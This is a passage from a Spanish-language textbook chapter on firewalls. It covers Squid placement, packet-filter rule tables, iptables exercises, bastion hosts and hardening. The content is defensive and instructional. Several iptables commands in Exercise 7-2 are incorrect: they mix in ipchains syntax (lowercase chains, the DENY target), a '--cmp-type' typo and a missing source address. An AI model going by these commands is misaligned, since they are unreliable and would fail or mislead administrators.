el Squid es colocado fuera del firewall, entonces las peticiones de los usuarios son pasadas desde el firewall al Squid; este proceso requiere que el firewall envíe una petición HTTP al Squid. Si el firewall no soporta handoffs, las peticiones no pasarán. En este escenario con el Squid fuera del firewall, el firewall no provee seguridad para el Squid.

Aunque el Squid tiene las características de bloquear y autentificar, no es una tarea simple la de configurar un nivel alto de seguridad si este es colocado fuera del firewall. El Squid debe ser configurado para aceptar peticiones sólo desde el firewall local y este firewall debe ser tratado como un host sin confianza ()host sin confianza. Además los navegadores deben ser configurados para usar el firewall como un proxy, no como Squid.

Características Avanzadas

La mayoría de los sistemas de firewalls son una combinación de filtrado de paquetes, gateways de nivel de circuito y de nivel de aplicación. Ellos examinan los paquetes individualmente o como un mensaje por completo, luego utilizan un conjunto de reglas predefinidas para enforzar la políticas de seguridad. Sólo aquellos paquetes que se involucran en actividades aceptadas son permitidos entrar y salir de la red. Al implementar una estrategia de firewall, se requerirán los tres tipos de firewalls. Los firewalls más avanzados proveen funcionalidades adicionales que pueden mejorar la seguridad de su red. Aunque no siempre es requerido, cada firewall debe implementar cierto tipo de escritura de log, aunque sea uno muy básico.

Autentificación

El firewall es el sitio lógico para colocar un método de autentificación que le hace falta las especificaciones IP. Se puede requerir de un token (ficha) del firewall o una búsqueda inversa de una dirección IP. Una búsqueda inversa verificará que el usuario de verdad está ingresando desde su reportado origen. Esta técnica efectivamente contrarresta los ataques de IP spoofing.

Los firewalls también permiten la autentificación de los usuarios. Los gateways del nivel de aplicación o los servidores proxy trabajan n las cuatros capas del TCP/IP. La mayoría de los servidores proxy proveen una integración con la base de datos de los usuarios. Al incorporar la base de datos de los usuarios esto le da a los servidores proxy más opciones de personalización al incluir la autentificación de los usuarios. El proxy puede además usar la base de datos para proveer diarios o logs más detallados al suplir mejor información basada en los usuarios y sus membresía en los grupos.

Logs y Alarmas

Los enrutadores de filtrado de paquetes o screening por lo general no habilitan los logs (diarios) por defecto para evitar degradación del rendimiento. Nunca asuma que ninguna de sus firewalls automáticamente escribirá las actividades a logs. Los routers de filtrado pueden escribir al diario solamente la información básica, mientras que los gateways de nivel de circuito escriben la misma información pero incluyen además cualquier transacción NAT.

Como usted está creando un punto de choke en su firewall, un cracker deberá romper este punto antes de pasar a su red interna. Si usted coloca su dispositivos que almacena los logs en el firewall mismo, lo más probable que capturará toda la actividades del usuario, incluyendo las del cracker. Usted a través auditorias puede monitorear las acciones del cracker y puede tener la información de su actividad.

Muchas firewalls le permiten preconfigurar respuestas a actividades no aceptables. Las dos acciones más comunes son que el firewall interrumpa la conexión TCP/IP o o automáticamente enviar un mensaje de alarma. Mecanismo de alarma disponibles incluyen alertas de audio y gráficos desde su computador. Muchas firewalls

pueden también enviar mensajes a beepers y celulares.

DISEÑO E IMPLEMENTACION DE FIREWALLS

Una vez ya ha contabilizado sus recursos y necesidades, haya definido una política de seguridad entonces estará listo para colocar sus recursos. La colocación de sus recursos tienen un efecto importantísimo en su habilidad e proteger sus vienes. El aspecto más importante del colocamiento del firewall es la creación de los puntos de choke. Mientras menos puntos físicos de acceso a sus recursos están disponibles desde el Internet, más fácil será controlarlo. La seguridad de un sitio de Internet es mucho menos demandante que la seguridad interna de una red ya que no nos permite crear muchos puntos de choke.

Direccionando toda la información entrante y saliente a un solo punto o a menos puntos, usted puede concentrar su mecanismo de protección. Esta concentración le permitirá enfocar todo su esfuerzo en un sólo punto, rindiéndole un mayor nivel de seguridad con el mismo esfuerzo. Otro beneficio del uso de puntos de choke es facilidad de administración del site debido a que sabre exactamente donde entra y sale la información de su sistema. Sus mejores esfuerzos y herramientas de monitoreo deben concentrarse en estos puntos de choke.

La colocación es un recurso debido a que si no coloca su sistema correctamente, entonces necesitará más equipo para lograr los niveles de seguridad necesarios para operar. Como los equipos son costosos y hay que mantenerlos, deberá tomar el tiempo para planificar exactamente como colocará los recursos.

Los siguientes temas serán discutidos en esta sección:

- Filtrado de Paquetes
- Ventajas y Desventajas del Filtrado de Paquetes
- iptables
- Diseño de la Implementación de un Firewall

Filtrado de Paquetes

El concepto de filtrado de paquete es fácil de explicar. La data es enviada a través de la red en forma de paquetes que contienen información del origen del paquete, punto de destino y protocolo. Un paquete también contiene campos importantes en su transmisión, como es el número del paquete, el cual es usado secuencialmente para reemsamblar la data al ser recibida.

Un filtrador de paquete es un dispositivo que inspecciona cada paquete por un contenido predefinido. Aunque no provee protección contra errores, por lo generla siempre es la primera línea de defensa. Los ingenieros filtran paquetes en el enrutador externo, el cual desecha cierto tipo de actividad por completo. Este método es útil para implementar amplias restricciones. Cuando filtramos paquetes en un enrutador, es por lo general un screeening router. Screening router es otro sobre nombre de los firewall de filtrado de paquete. Desde el kernel 2.1.102 el filtrado de paquete es incluido internamente.

¿Por Qué Filtrar?

Los paquetes que son filtrados incrementan la seguridad. Aunque todas las cuentas de un sistema poseen contraseñas, un administrador puede querer prevenir que un forastero usando los servicios ftp o telnet accese el sistema. Ataques maliciosos, como son DoS y ataques de ping flood, pueden ser prevenidos con la aplicación correcta de filtrado de paquetes.

Otra razón del uso de filtrado de paquetes es el control de la información. El filtrado de paquetes puede ser usado para bloquear correo no deseado antes de que llegue al inbox del usuario. Usuarios del sistema también

pueden ser prohibidos de usar ciertos sitios web o tipos de protocolos a través del uso del filtrado de paquetes.

Procesos

El filtrado de paquetes funciona en la capa del Red del modelo OSI. Muchos filtros de paquetes pueden usar archivos de texto que han sido creados por un administrador de seguridad. Los archivos de texto están compuesto de reglas que son leídas secuencialmente línea por línea. Cada regla contiene entradas específicas para asistir a determinar como un paquete entrante debe ser manejado. Las reglas pueden ser aplicadas basada en la dirección IP fuente y destino. Los filtros de paquetes específican los puertos TCP y UDP y por esto pueden ser objeto de inspección. Los paquetes de filtrado son leídos y son sujetos a las reglas a vece de una por una. Una vez un paquete falla cualquier parte de un filtro, la regla siguiente no será leída.

Recuerde considerar el orden de las reglas dentro del filtro. Un filtrado de paquete provee dos acciones, permitir o bloquear (allow/deny). La acción de allow enruta el paquete si se conformó a todas las reglas. La acción de bloquear se deshacerá de todos los paquetes si no se conforma a las reglas. Los filtradores de paquetes descartaran cualquier paquete a menos que este ha sido permitido por una regla.

Reglas y Campos

Los filtrados de paquetes usan cadenas (chains) de reglas para determinar que paquete para por el firewall. Una cadena de reglas está compuesta de varios campos. Implementaciones específicas deben decirle al enrutador que filtre los paquetes IP basado en los siguientes campos:

- Dirección IP Origen
- Dirección IP Destino
- Puerto TCP/UDP Origen
- Puerto TCP/UDP Destino

GNU/Linux usa cuatro cadenas principales:

input Para los paquetes viajando hacia el host
output Para los paquetes viajando desde el host
forward Para los paquetes que fueron recibidos por el host y serán enviados por el host
user defined Cadena creada por el usuario que recibe el paquete de las tres cadenas principales para procesarla.

Cuando un paquete viaja se confronta contra la cadena y es revisado contra las reglas. Si el paquete iguala a una de las reglas, entonces la acción por defecto o el objetivo es tomada. Las cadenas de reglas permiten filtrado complejo de la data que entra y sale de un sistema mientras que efectuar la instalación y mantenimiento de ellas permanece simple.

El filtrado de paquetes trabaja mejor para restringir ciertas direcciones IP y aplicaciones TCP y UDP de entrar y salir de su red. Por ejemplo, para deshabilitar el servicio de telnet entrante a hosts internos desde Internet, podemos crear una regla de filtrado de paquete. Anteriormente discutimos como trabaja el TCP/IP y como el telnet utiliza el puerto 23 TCP. En un filtrado de paquete que permite todo acceso por defecto, una regla de filtrado insertada para detener telnet se parece a la entrada en la siguiente tabla:

No. Regla	Acción	IP Origen	IP Destino	Puerto Origen	Puerto Destino	Protocolo
1	Discard	*	*	23	*	TCP
2	Discard	*	*	*	23	TCP

La información listada en la tabla le dice al enrutador que descarte (discard) cualquier paquete que venga o valla al puerto TCP 23. Un asterisco (*) indica cualquier valor en un campo en particular. En este ejemplo

anterior, si un paquete es pasado por la regla que tiene el 23 como puerto de origen, este será descartado inmediatamente. Si un paquete con el puerto 23 como destino es pasado por la regla, este será descartado solamente después que la segunda regla sea aplicada. Todos los otros paquetes serán descartados.

Otros servicios de Internet requieren de entradas más avanzadas en las reglas. Por ejemplo, el FTP no pasivo utiliza los puertos TCP 20 y 21. En un filtrado de paquete que prohíbe todo el acceso TCP al menos que este permitido específicamente, su filtro debe ser algo parecido al siguiente.

Las entradas desplegadas en esta tabla nos muestra una posible regla del FTP. La regla 1 permite a cualquier dirección IP que empiece con la dirección de la red 192.168.10.0 iniciar una sesión TCP que se origine desde cualquier puerto a cualquier destino en cualquier otro puerto. La segunda regla permite a cualquier dirección IP remota que se origine desde el puerto 20 a conectarse a cualquier dirección interna que empiece con la dirección de red 192.168.10.0 en cualquier puerto.

No. Regla	Acción	IP Origen	IP Destino	Puerto Origen	Puerto Destino	Protocolo
1	Allow	192.168.10.0	*	*	*	TCP
2	Allow	*	192.168.10.0	20	*	TCP
3	Discard	*	*	*	*	TCP

La razón que la regla 2 no puede limitar la dirección del puerto de destino es que los clientes pasivos FTP o usan el puerto 20. Cuando un cliente pasivo FTP inicia una sessión FTP, el cliente utiliza un número de puerto que fué asignado a el dinámicamente llamado un puerto efímero; con el conjunto de filtros anterior, el servidor remoto FTP permitiría a cualquier dispositivo dentro de la red 192.168.10.0 siempre y cuando el paquete se origino desde el puerto 20. Un cracker con experiencia puede explotar esta regla para accesar virtualmente cualquier recurso dentro de su red. Un conjunto mejor aún de reglas de filtrado de paquetes FTP se muestra en esta tabla.

No. Regla	Acción	IP Origen	IP Destino	Puerto Origen	Puerto Destino	Protocolo
1	Allow	192.168.10.0	*	*	21	TCP
2	Block	*	192.168.10.0	20	<1024	TCP
3	Allow	*	192.168.10.0	20	*	TCP ACK=1

La regla 1 permite a cualquier host con la dirección de red 192.168.10.0 iniciar una sesión TCP en cualquier dirección IP de destino en el puerto 21. La segunda regla bloquea cualquier paquete que origine desde cualquier dirección remota con un puerto de origen número 20 y contactando un host con una dirección de red 192.168.10.0 en cualquier puerto menor que 1024. La tercera regla le permite a cualquier dirección remota con un puerto de origen 20 para contactar cualquier host con una dirección de red 192.168.10.0 en cualquier puerto. Recuerde que las reglas son ejecutadas secuencialmente. Puede parecer que la regla 3 contradice la regla 2. Si cualquier paquete viola la regla 2, este será automáticamente descartado y la regla 3 nunca sería ejecutada. La regla 3 aún es necesaria porque los filtradores de paquetes trabajan excluyendo todo el tráfico entrante y saliente al menos que tal tráfico haya sido específicamente permitido por una regla.

Ejercicio 7-1: Diseñar un Firewall de Filtrado de Paquetes

En este ejercicio diseñaremos un firewall de filtrado de paquetes. Las soluciones a este ejercicio se encuentran en el Apéndice A.

1. Diseñe una regla de filtrado de paquete que prohíba conexiones al puerto 80.

Ventajas y Desventajas del Filtrado de Paquetes

La ventaja principal de usar el filtrado de paquetes es que el dispositivo y el software que se necesita para implementarlo ya lo más seguro que usted lo posea todo. La mayoría de los enrutadores pueden filtrar paquetes. Ya que todo el equipo lo poseemos también ayuda en el ahorro de dinero. Lo único que quizás deberá adquirir es conocimiento y una vez sepa implementar las reglas, usted podrá empezar a controlar el acceso.

Los enrutadores capaces de filtrar paquetes o screening routers, normalmente son la primera línea de defensa en la implementación de un sistema de firewall. El filtrado de paquetes puede bloquear aplicaciones por completo y ID de redes. Por ejemplo, un filtrado de paquete puede prohibir todo el tráfico a un host en particular. Esta restricción puede prevenir a un cracker de poder contactar cualquier otro host dentro de la red interna.

Puntos Débiles

El mayor problema con el filtrado de paquetes o screening router es que ellos no pueden discriminar de la diferencia entre un buen paquete y uno malo. Si un paquete pasa todas las reglas, será enturado a su destino. Los filtradores de paquetes no reconocen si los paquetes contienen data maliciosa o no. Ellos son susceptibles a a código embebido en paquetes estándares. Usando un FTP, un cracker puede embeber un programa para escanear todos los IP de la red interna y así crear un mapa. Siempre y cuando el cracker inició el paquete con el puerto de origen número 20, entonces el filtrador de paquete pasaría todos los paquetes.

Otra debilidad asociada con la anterior, es que para crear filtros de paquetes, requiere conocimiento extenso de TCP/IP. La mayoría de aplicaciones son basadas en cliente/servidor, así que los filtros necesitarán reglas múltiples para manejarse con la comunicación cliente/servidor. Lograr generalizar las reglas de filtrado es difícil, ya que la mayoría de aplicaciones TCP/IP tienen requerimiento de puerto especial TCP/UDP.

Otro problema con el filtrado de paquete es que usted por lo general debe crear más de 100 reglas para limitar el acceso a la red. Para crear todas estas reglas hay que dedicarle tiempo y además se complican a medida que crecen el número de reglas.

La última debilidad significativa del filtrado de paquete es su susceptibilidad a los ataques spoofing. El Spoofing (disfraza su dirección de origen) es similar a la primera debilidad que mencionamos, la cual fue la incapacidad de discriminar entre data buena y maliciosa. Si un cracker spoof su dirección de origen con una dirección de origen que si es permitida por una de las reglas dentro del filtro, entonces el firewall pasará o enrutará el paquete.

Inspección de Estado Multicapa

La inspección de estado multicapa permite sobreponer debilidades inherentes en el filtrado de paquetes. Los filtradores de paquetes que implementan este tipo de inspección pueden examinar el contenido de los paquetes ya que el firewall pueden mantener una base de datos de las conexiones anteriores. Con el análisis y la comparación de las conexiones, el firewall puede entender la naturaleza de muchas de las conexiones. La inspección de estado multicapa le permite detectar y derrotar el escaneado de ping y puertos, y ayuda a determinar si un paquete ha sido spoofed.

Otro beneficio de este tipo de inspección es que permite el filtrado de paquete a inspeccionar a todos las capas del modelo OSI, no sólo en la capa de Red. El uso de inspección de estado multicapa es hoy día muy generalizado en los firewalls de filtrado de paquetes.

Ejercicio 7-2: Configurar las Reglas del Firewall de Filtrado de Paquetes

No se proveen soluciones a este ejercicio.

1. iptables puede ser usado para bloquear el acceso a servicios a nivel del paquete. Primero use un navegador para confirmar que puede accesar servicios Web, visitando cualquier página web. Si no tiene acceso a Internet y estamos ejecutando un Apache, podemos escribir las direcciones así para que apunten a nuestro servidor local:

 # lynx 127.0.0.1

2. Use iptables para denegar todas las conexiones al puerto 80 en su sistema.

 # iptables -A input -p tcp -d 127.0.0.1 80 -j DENY

3. Escriba la dirección de nuevo y debe quedarse denegado y no poder accesarla.

 # lynx 127.0.0.1

4. Denegar todas las conexiones no tiene mucho sentido, en este ejemplo denegaremos solo las direcciones de los crakers.org. Primero deberá eliminar la última regla que escribimos.

 # iptables -D input -p tcp -d 127.0.0.1 80 -j DENY

 # iptables -A input -p tcp -s crackers.org -d 127.0.0.1 80 -j DENY

5. No sólo podemos bloquear tráfico entrante, pero además podemos bloquear el saliente. Para probar cargue una página en su navegador así:

 # lynx google.com

6. Ahora negamos su salida así:

 # iptables -A output -p tcp -s -d www.google.com 80 -j DENY

7. Ahora trate de navegar y le será denegado:

 # lynx google.com

8. El tráfico web no es el único que puede ser filtrado. Todos los filtros listados en /etc/services pueden ser filtrados. Otro ejemplo que podemos presentar ya que es muy común su uso es bloquear los mensajes ICMP, como es PING. Para el ejemplo primero mande unos cuantos a su interface lo, así:

 # ping 127.0.0.1

PING 127.0.0.1 (127.0.0.1): 56 data bytes

9. Ahora use iptables para denegar las peticiones de ping al 127.0.0.1:

 # iptables -A input -p icmp -d 127.0.0.1 --cmp-type ping -j DENY

10. Ahora intente de nuevo de hacer ping al 127.0.0.1:

 # ping 127.0.0.1

11. Ahora limpiemos todas las reglas que establecimos para que no estorben con el funcionamiento normal del equipo de práctica:

```
# iptables  -L            # Listar las reglas vigentes
# iptables  -F input        # Eliminar las de entrada
# iptables  -F forward      # Eliminar las de reenvio
# iptables  -F output       # Eliminar las de salida
# iptables  -L            # Listar las reglas vigentes
```

Ejercicio 7-3: El Uso de iptables

En este ejercicio usaremos iptables para filtrar los paquetes entrantes. Necesitamos un equipo directamente conectado al Internet, ya que un firewall o proxy puede que interfiera con los resultados. Las soluciones a este ejercicio se encuentran en el Apéndice A. (OJO CAMBIADO NO HAY SOLUCIONES)

1. Revise que tiene un kernel que soporta iptables
2. Establezca que la política por defecto es DENY
3. Deniegue todo el tráfico de www.codigolibre.org
4. Pruebe el acceso a www.codigolibre.org utilizando ping y HTTP
5. Elimine el filtrado colocado a www.codigolibre.org

6. Deniegue sólo el tráfico HTTP entrante de www.codigolibre.org
7. Pruebe el acceso a www.codigolibre.org utilizando ping y HTTP
8. Liste todas las reglas
9. Elimine todas las reglas de INPUT
10. Asegurece que IP forwarding está habilitado
11. Habilite IP forwarding sin ningún filtrado de paquete

Las iptables

El estándar de sistema de firewall de GNU/Linux antes del kernel 2.4 fue ipchains, antes de ipchains el kernel tenía un sistema un poco diferente de nombre ipfwadm., con la llegada del kernel 2.4 y permanece con el 2.6 nacieron las IPTABLES. A partir del kernel 2.4 se esta dando soporte a otro módulo para filtrado de paquetes mucho más potente que IPCHAINS, llamado IPTABLES. Para acceder a ciertos sitios ftp tendremos problemas usando IPCHAINS con el kernel 2.4. A pesar de que IPCHAINS siga funcionando, ya no tendremos los antiguos módulos para solventar los problemas de acceso a servicios especiales y es necesario que todos los sistemas legados que encontremos en la empresas aún usando IPCHAINS los pasemos a IPTABLES.

IP Forwarding

En la mayoría de los casos, usted utilizará un sistema GNU/Linux como firewall a su red completa. En este caso, tendrá que habilitar enrutamiento en su sistema. Para el enrutado simple, usted puede habilitar IP Forwarding. Para lograr esto, simplemente debe escribir un “1” ip_for-ward, esto se ejecuta así:

 # echo “1” > /proc/sys/net/ipv4/ip_forward

Esta sentencia le dice al kernel que el debe enrutar los paquetes de una de sus interfaces a la otra si el paquete tiene como rumbo la red. Para enrutamiento más complejo deberá instalar soporte completo de enrutamiento en el kernel, incluyendo los daemons que soportan estos protocolos de enrutamiento.

Como Usar iptables

Una de las diferencias obvias entre ipchains e iptables es que los nombres de las cadenas han sido cambiados de minúsculas a mayúsculas. La mayoría de los cambios que notará como usuarios es en la manera que las opciones son usadas. Por ejemplo, la opción -i (interfaz) ahora sólo aplica a las cadenas de INPUT y FORWARD, mientras que la -o debe ser sólo usada en las de OUTPUT y FORWARD. Esto tiene el efecto de que realmente el significado de interfaz ha cambiado a interfaz entrante y/o saliente. Además el puerto para el protocolo UDP o TCP debe ser escrito usando las opciones larga --sport o --source-port inmediatamente después de la opción del filtro del protocolo (-p tcp o -p udp). Existen HOW-TOs y manuales en toda la red dedicados a este tema.

Diferencias respecto a IPCHAINS.

- La sintaxis, obviamente, aunque no mucho.
- DENY no existe, ahora sería DROP.
- MASQ y REDIRECT no existen como destinos de paquetes.
- REJECT extendidos con más opciones
- LOG con más opciones, muy útil para monitorear y depurar
- ... y más que se pueden ver en el howtos y en otras páginas.

Elementos Básicos

-Ordenes básicas:

- iptables -F : efectivamente, flush, pulga todas las reglas

- iptables -L : Listado de todas las reglas que se están aplicando
- iptables -A : Append, añadir una regla
- iptables -D : Delete, eliminar una reglas, etc...

-Ejemplo de Regla:

#Regla que acepta conexiones al puerto 80
iptables -A INPUT -i eth0 -s 0.0.0.0/0 -p TCP --dport www -j ACCEPT

ANATOMÍA DE LA REGLA:

iptables:	El comando iptables (no hay que olvidar que las reglas son un shell script)
-A:	Append, opción para añadir la regla
INPUT:	Estado del paquete (al entrar es input).
-i eth0:	Interfaz de red eth0
-s 0.0.0.0/0:	Dirección de acceso (cualquiera en este caso)
-p TCP:	Tipo de puerto
--dport:	Puerto de destino
-j ACCEPT:	Destino del paquete (se acepta, podría ser DROP, LOG, REJECT,..)

-Guía rápida de flags:

-s : dirección de origen	Ej: -s 192.168.1.0/24
-d : dirección destino	Ej: -d 84.56.73.3
-p : tipo de protocolo(TCP,UDP,ICMP)	Ej: -p TCP
--sport :	Puerto de origen
--dport:	Puerto de destino
-i = -in-interfase :	Interfaz por el que se entra (eth0,eth1, ppp0,...)
-o = --out-interfase:	Interfaz por el que se sale (eth0,eth1, ppp0,...)

-Notas:

-i	Usado con reglas INPUT y FORWARD
-o	Usado con reglas FORWARD y OUTPUT

A partir de estas normas básicas, conociendo la anatomía básica de una regla, y viendo ejemplos ya tenemos suficiente material para empezar a hacernos con el dominio de IPTABLES.

Diseñar una Implementación de un Firewall

Al preparar y configurar un dispositivo como firewall debe tener mucho cuidado. El término bastión que utilizamos anteriormente y definimos como un dispositivo conectado directamente a un red publica, aquí también lo utilizamos para referirnos a nuestro dispositivo firewall. Un bastión puede referirse a uno de los tres tipos de firewalls que definimos anteriormente: Filtrado de Paquete, gateway de nivel de circuito y gateway de nivel de aplicación.

Un host bastión es por definición un dispositivo que accesible por el público. Al momento de que un usuario de Internet intenta accesar su red, la primera máquina que encontrará es su bastión host. Como está máquina ésta directamente conectada al Internet toda la información que esta contiene está expuesta al Internet. El host bastión es similar al guardia en la entrada de una fortaleza militar. El guardia debe revisar los credenciales de todo el que entra, para determinar a que áreas el visitante tiene derecho a accesar. Estos guardianes a menudo

están armados para prevenir la entrada por fuerza. Similarmente el host bastión debe estar preparado para hacer cumplir las reglas de acceso o políticas de seguridad. Debe estar preparado para contrarrestar cualquier tipo de ataque, tanto del exterior como del interior de la red. Las armas que posee un bastión son los sistema de logs y sus sistemas de alarmas para prevenir los ataques.

Principios de Diseño

Al configurar un dispositivo de firewalls, usted debe siempre obedecer dos conceptos principales. El primero es, mantener su diseño lo más simple posible y segundo es tener un plan de contingencia en caso de que logren penetrar su firewall.

Mantener el Diseño Simple

A menudo la forma por la cual un cracker logra entrar a una red es explotando componentes no necesarios y poco usados instalados en un host. Debe construir su host bastión con el menor número de componentes posible, ambos tipos: hardware y software. El host bastión debe ser creado sólo para proveer servicios de firewall. No debe instalar software de servicios en el, como por ejemplo, servidores Web, host bastión. Debe ser eliminado cualquier aplicación en el host bastión que no sea absolutamente necesaria.

Plan de Contingencia

Si el diseño de su firewall es correcto, el único acceso público a su red es a través de su firewall. Al diseñar firewalls, el administrador de seguridad debe tener un plan en caso de que su firewall falle (crash) o se vea comprometida (entrada forzada). Si usted tiene un solo firewall separando su red de Internet, y un cracker logra penetrar, entonces el tendrá total acceso a su red. Para contrarrestar esto podemos diseñar varios niveles de firewall. No debe depender de un sólo firewall para proteger toda su red. El diseño de firewall lo cubriremos más adelante. Sus políticas de seguridad deben establecer que hacer en caso de fracaso.

Pasos específicos que debes tomar son:

- Crear una copia exacta del software.
- Configurar un sistema idéntico y salvaguardarlo.
- Asegurarse que todo el software necesario para instalar el firewall este disponible. Esto incluye discos de rescate.

Tipos de Hosts Bastión

Al crear su host bastión, recuerde la función de este en su estrategia de firewall. Determinar cual es el rol del bastión le asistirá en decidir que necesita y como configurar el dispositivo. Los tipos más comunes de hosts bastión son discutidos más adelante. Los tipos que aquí exponemos no son los únicos disponibles, pero la mayoría si caen en una de estas tres categorías.

Single-Homed Hosts Bastión

Este tipo de host es un dispositivo de firewall con sólo una interfaz de red. Los hosts del tipo single-homed bastión son por lo general utilizados como gateways firewalls a nivel de aplicación. El enrutador externo está configurado para enviar toda la data entrante al host bastión y todos los clientes internos están configurados para enviar toda su data saliente al host bastión. El host bastión entonces probará la data contra las políticas de de seguridad y actuará de acuerdo con estas. La desventaja principal de este tipo de firewall es que el enrutador puede ser configurado a pasar la información directamente a la red interna, completamente sobre pasando el host bastión. Los usuarios pueden configurar sus máquinas a sobrepasar el host bastión y enviar su información directamente al enrutador.

Dual-Homed Hosts Bastión

El segundo modelo de cortafuegos esta formado por simples máquinas (PCs) con GNU/Linux, equipadas con dos o más tarjetas de red y denominadas anfitriones de dos bases o multi-base, y en las que una de las tarjetas se suele conectar a la red interna a proteger y la otra a la red externa a la organización. En esta configuración el choke y el bastión coinciden en el mismo equipo.

La PC ejecutando GNU/Linux debe tener configurado al menos un servidor proxy para cada uno de los servicios que deseemos pasar a través del cortafuegos, y también es necesario que el IP Forwarding esté deshabilitado en el equipo, aunque una máquina con dos tarjetas puede actuar como un router, para aislar el tráfico entre la red interna y la externa es necesario que el choke no enrute paquetes entre ellas. Así, los sistemas externos verán al host a través de una de las tarjetas y los internos a través de la otra, pero entre las dos partes no puede existir ningún tipo de tráfico que no pase por el cortafuegos; todo el intercambio de datos entre las redes se ha de realizar a través de servidores proxy situados en el host bastión o bien permitiendo a los usuarios conectar directamente al mismo.

La segunda de estas aproximaciones es sin duda poco recomendable, ya que un usuario que consiga aumentar su nivel de privilegios en el sistema puede romper toda la protección del cortafuegos, por ejemplo reactivando el IP Forwarding); ademas - esto ya no relativo a la seguridad sino a la funcionalidad del sistema - suele ser incómodo para los usuarios tener que acceder a una máquina que haga de puente entre ellos e Internet. De esta forma, la ubicación de proxys es lo mas recomendable, pero puede ser problemático el configurar cierto tipo de servicios o protocolos que no se diseñaron teniendo en cuenta la existencia de un proxy entre los dos extremos de una conexión.

Hosts Bastión de un Unico Propósito

Puede ser tanto un single o multi-homed. Muy a menudo en el ambiente de trabajo debemos instalar aplicaciones que no se han podido probar por agujeros de seguridad. debemos crear un host bastión para estas necesidades. No comprometa su firewall de producción instalándole aplicaciones que no han sido probadas. Usando un host bastión para un único propósito o tarea le permite establecer reglas y mecanismos más estrictos. Por ejemplo imagínense que en la compañía se va a ofrecer un nuevo servicio de tienda virtual, la política de la compañía es filtrar todo el tráfico entrante y saliente que va a ser enviado a través del Proxy. Usted debe crear un proxy nuevo que va ha ser dedicado a esta tienda virtual. En este nuevo proxy usted debe implementar autenticación de usuario así como el acceso restringido por IP. Con el uso de este servidor proxy usted no pone en peligro la situación actual de seguridad y puede implementar mayores niveles de seguridad.

Hosts Bastión Interno

Estos también pueden ser tanto un single o multi-homed, pero residen dentro de la red interna de la compañía. Normalmente son usado como gateway que reciben todo el tráfico entrante desde los host bastión externos. Ellos proveen un nivel adicional de seguridad en caso de que el firewall externo sea comprometido. Todo los dispositivo de red externos son configurado para comunicarse solamente con el bastión host interno y no deben ser afectado por el host bastión externo comprometido.

Tema de Hardware

El error más común de un administrador es comprar la mejor y mas costosa máquina del mercado para su firewall. La idea es que la máquina más rápida podrá procesar el tráfico entrante y saliente más rápido y así mejorar la eficiencia de la red. Esta presunción esta totalmente equivocada. Las funciones proveída por el host bastión no son complejas y no requieren de una máquina poderosa. Usar una PC menos poderosa es suficiente en la mayoría de las implementaciones de firewall y ademas nos puede ahorrar dinero. Un host bastión puede

ser instalado en una configuración de hardware simple. Lo más importante a tomar encuentra al elegir el dispositivo es el sistema operativo que el host bastión ejecutará. Al elegir el hardware elija los componentes que han sido probado no los ultimo del mercando. Muy a menudo estas tecnologia no han sido probada, no exponga su compañía a riesgos innecesario.

El uso de dispositivo menos potente ofrece varias ventajas. Si su firewall es comprometido y el cracker instala herramientas o servicios para penetrar aun más su red, una computadora menos poderosa reducirá el tiempo de proceso, así permitiéndole a usted más tiempo para identificar la ruptura. Similarmente, si el cracker descubre que su firewall ha sido instalador en un super computadora le será más atractivo que un simple computador.

La decisión de que tan rápido sea el procesador o cuanto RAM instalarle es influenciado por el rol a jugar por host bastión por ejemplo, si este host bastión va a ejecutar un servicio gateway de aplicación, se necesitará un disco duro de gran capacidad para que la característica de cache de la aplicación del gateway. Todo host bastión se beneficia de poseer una gran capacidad de RAM, aunque un procesador rápido no es necesario para analizar el tráfico entrante y saliente, mantener el inventario de la condiciones simultanea sí puede consumir mucha memoria. Su host bastión debe tener una estrategia de backup, este debe estar configurado con su propia cinta como dispositivo de backup. Si su compañía tiene una estrategia de backup vía red usted no debe incluir el host bastión ya que necesitaría las cuentas de usuarios y esto comprometería o el host bastión o el servidor de backup. Efectuar backup local en el host bastión eliminará este problema.

Servicios y Daemons

Usted debe asegurar cada host bastión individualmente y a cada nivel. Por ejemplo, asegure la aplicación firewall, sistema operativo y otros servicios, como son telnet, http, etc.. Cada uno de estos sistemas tiene unidades especificas que deben ser dirigida por separado.

Cuando usted instala un sistema operativo se instalan muchos servicios por defecto. La mayoría de versiones de GNU/Linux instalan telnet, vnc, y algunas que otras aplicaciones con historiales de vulnerabilidades por defecto. Todo servicio no necesitado debe ser removido, simplemente deshabilitando el servicio no le asegura que después no será rehabilitado. Al remover estos servicios le hará más difícil la tarea al cracker de tener que reinstalarlo y rehabilitarlo.

Usted debe también remover todos los programas del sistema operativo que no sean necesario, por ejemplo usted debe remover programas de administración como son rm, chmod, etc.. Estos programas permiten al cracker cambiar configuraciones y causar aún mayor daño.

Otra configuración importante del dispositivo de firewall es remover el IP routing. Si el IP routing está habilitado, el host bastión puede automáticamente enrutar paquetes sin primero revisar si ellos se ajustan a las definiciones de seguridad implementadas. Si usted elimina el IP routing, el host bastión deberá usar el componente del firewall para enrutar o enviar por el proxy el tráfico entrante y el saliente.

Eliminar todo servicio no necesario, daemon o aplicación es el paso más esencial al crear un host bastión seguro. Desafortunadamente este paso no es llevado a cabo en la mayoría de los casos. Eliminar aplicaciones le puede parecer excesivo pero recuerde que el host bastión es el primer dispositivo que el cracker intentará penetrar para adquirir acceso a su red. Eliminando todo estos componentes usted le hace el trabajo del cracker más difícil.

Diseños Comunes de Firewalls

Ahora que ya sabemos como crear un firewall seguro, podemos ver como implementar una estrategia de firewall. El primer paso para el diseño de estrategia de un firewall seguro es físicamente asegurar el firewall mismo. Este paso le puede parecer obvio pero si usted no mantiene sus firewall en sitio seguro sus dispositivo pueden ser comprometidos. Redes completas se han caído debido a que un agente de seguridad nocturno tumbo el sistema eléctrico. La mayoría de los dispositivos permiten el acceso a los niveles administrativos por métodos físicos, por ejemplo, iniciar un servidor desde un live-cd, o conectarse a un router vía puerto serial. La mayoría de estas amenazas no pueden ser corregida, así que la respuesta es asegurar el sitio.

Los cuatros diseños de firewall más comunes proveen ciertos niveles de seguridad. Una regla simple a seguir al diseñar el firewall es que mientras más sensitivo es el dato, más extensa que debe ser su estrategia de firewall. Cada una de las cuatro implementaciones de firewall esta diseñada para crear un sin número de filtro que pueden procesar y asegurar la información. Las cuatros opciones son:

- Router de Filtrado
- Single-Homed Host Bastión
- Dual-Homed Host Bastión
- Subred Filtrada

